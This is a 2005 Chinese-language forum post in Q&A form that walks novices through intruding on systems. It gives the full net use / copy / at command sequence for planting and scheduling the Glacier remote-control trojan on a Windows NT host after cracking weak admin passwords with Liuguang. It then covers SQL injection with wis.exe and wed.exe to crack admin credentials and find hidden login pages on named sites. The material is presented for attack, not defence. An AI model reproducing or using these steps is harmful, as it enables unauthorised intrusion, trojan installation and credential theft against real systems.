chris 10-7-2005 04:58
入侵之簡單通俗的講解
入侵之簡單通俗的講解
問：什麼常見命令啊，什麼工具啊，如何入侵，我還不會啊，能簡單通俗的講解一下嗎？
答：一般的初步入侵可以分為三步：
1，掃描目標主機並分析掃描資訊。 比如 探測開放的埠，獲得服務軟體及版本， 探測漏洞等等
2，利用漏洞。探測並獲取帳號或密碼系統
3，獲得許可權，進行操作。
不要太專業，太深入，太冗長，僅僅舉個兩個實際例子，不涉及任何高深知識，從工具角度來講，但從中可以看出入侵的一般步驟：
一，入侵單機－－－普通攻擊 4個工具： 1，shed.exe 2，流光2000 3，cmd.exe 4，冰河8.4
作業系統：winnt系統。
“shed.exe”：其實就是用來網上查共用資源的，速度快，可以查到很多服務斷的共用檔案，不過在這裏面有些ip在流覽器中無法訪問，這是因為其中也包含了個人上網的ip．
“流光”：一些作網站和網吧的伺服器一些目錄都是共用的，有些是可以訪問，但是不能刪除，因為你所訪問的都是以匿名訪問的，許可權不夠！有些需要密碼。遇到密碼怎辦？用流光！ 用流光的ipc探測，建立一個空對話，查到用戶列表，然後先簡單探測，此時有些網管懶惰，把administrator設定的過於簡單，便可以抓到肉雞了。
使用冰河控制一台伺服器速度很快，（因為伺服器那邊帶寬很大）幾分鐘就可以查到對方主機的主頁所在位置。但是如何上傳並且控制他呢？ 執行cmd.exe 使用net命令具體操作如下：
第一步：net use \\ip\ipc$ “password” /user:”user” 說明：以一個超級用戶名與你想黑的網站建立聯接，當然超級用戶必須是該網站admin裏的。這裏的”ip”就是主機了，“password”就是超級用戶的密碼，“user”就是超級用戶。比如：net use \\210.*.*.*\ipc$ “juntuan” /user:"juntuan"
第二步：copy g-server.exe \\ip\admin$\system32 說明：g-server.exe就是冰河的遠端伺服器端。意義：將此檔案拷貝到對方的主機winnt裏的system32目錄裏。最好用最新的木馬！哈哈，荷馬以及教主還有很多人他們到處賣馬呢，暈死......
第三步：net time \\ip 察看對方的伺服器時間。由於有時差，應該是一個小時吧！所以必須要以對方的伺服器時間為准。
第四步：at \\ip time g-server.exe 這裏的time就是對方的主機時間。作用：在規定時間執行該程式。比如 at \\210.*.*.* 19:55 g-server.exe 第五步：冰河就可以控制該電腦了。
二，入侵網站－－－－SQL注入攻擊
工具：榕哥的SQL注入攻擊工具包，在榕哥的站點http://www.netxeyes.com/main.html可以下載。 下載來的這個工具包中總有兩個小程式：“wed.exe”和“wis.exe”，其中“wis.exe”是用來掃描某個站點中是否存在SQL注入漏洞的；“wed.exe”則是用來破解SQL注入用戶名密碼的。兩個工具的使用都非常簡單，結合起來，就可以完成從尋找注入點到注入攻擊完成的整個過程。
1、尋找SQL注入點
“wis.exe”使用的格式如下：“wis.exe 網址”，：首先打開命令提示視窗，比如輸入如下命令：“wis.exe [url]http://www.juntuan.cn/[/url]”。在輸入網址時，前面的“http://”和最後面的“/”是必不可少的，否則將會提示無法進行掃描。 輸入完畢後回車，即可開始進行掃描了。很快得到了掃描結果，可以看到某些網站中存在著很多SQL注入漏洞，我們隨便挑其中一個來做試驗。現在來對它進行SQL注入，破解出管理員的帳號來吧！
2、SQL注入破解管理員帳號
現在進入命令視窗中，使用剛才下載的工具包中的“wed.exe”程式，命令使用格式為：“wed.exe 網址”輸入如下命令：“wed.exe 頁面位址”。回車後可看到命令執行情況。：這次輸入網址時，最後面千萬不要加上那個“/”，但前面的“http://”頭也還是必不可少的。
可以看到程式自動打開了工具包中的幾個檔案，“C:\wed\wed\TableName.dic”、“C:\wed\wed\UserField.dic”和“C:\wed\wed\PassField.dic”，這幾個檔案分別是用來破解用戶資料庫中的字表名、用戶名和用戶密碼所需的字典檔案。當然我們也可以用其他的工具來生成字典檔案，不過想想小榕哥以前出的“駭客字典”那麼的強大，還用得著去多此一舉嗎？
在破解過程中還可以看到“SQL Injection Detected.”的字串字樣，表示程式還會對需要注入破解的網站進行一次檢測，看看是否存在SQL注入漏洞，成功後才開始猜測用戶名。
開始等待，很快就獲得了資料庫表名，然後得到用戶表名和字長；再檢測到密碼表名和字長。然後“wed.exe”程式進行用戶名和密碼的破解。很快的，就得到了用戶名和密碼了。
3、搜索隱藏的管理登錄頁面
拿到了管理員的帳號，現在看來我們只有找到管理員登錄管理的入口才行了。一般在網頁上找遍了也沒有看到什麼管理員的入口鏈結，可以使用“wis.exe”程式，這個程式除了可以掃描出網站中存在的所有SQL注入點外，還可以找到隱藏的管理員登錄頁面。
管理員登錄頁面只可能隱藏在整個網站的某個路徑下。於是輸入“wis.exe [url]http://www.yahoo.com/[/url] /a”，對整個網站進行掃描。注意掃描語句中網址的格式。程式開始對網站中的登錄頁面進行掃描，在掃描過程中，找到的隱藏登錄頁面會在螢幕上以紅色進行顯示。很快就查找完了，在最後以列表顯示在命令視窗中。
在流覽器中輸入網址，出現了本來隱藏著的管理員登錄頁面。輸入用戶名和密碼，就進入到後臺管理系統。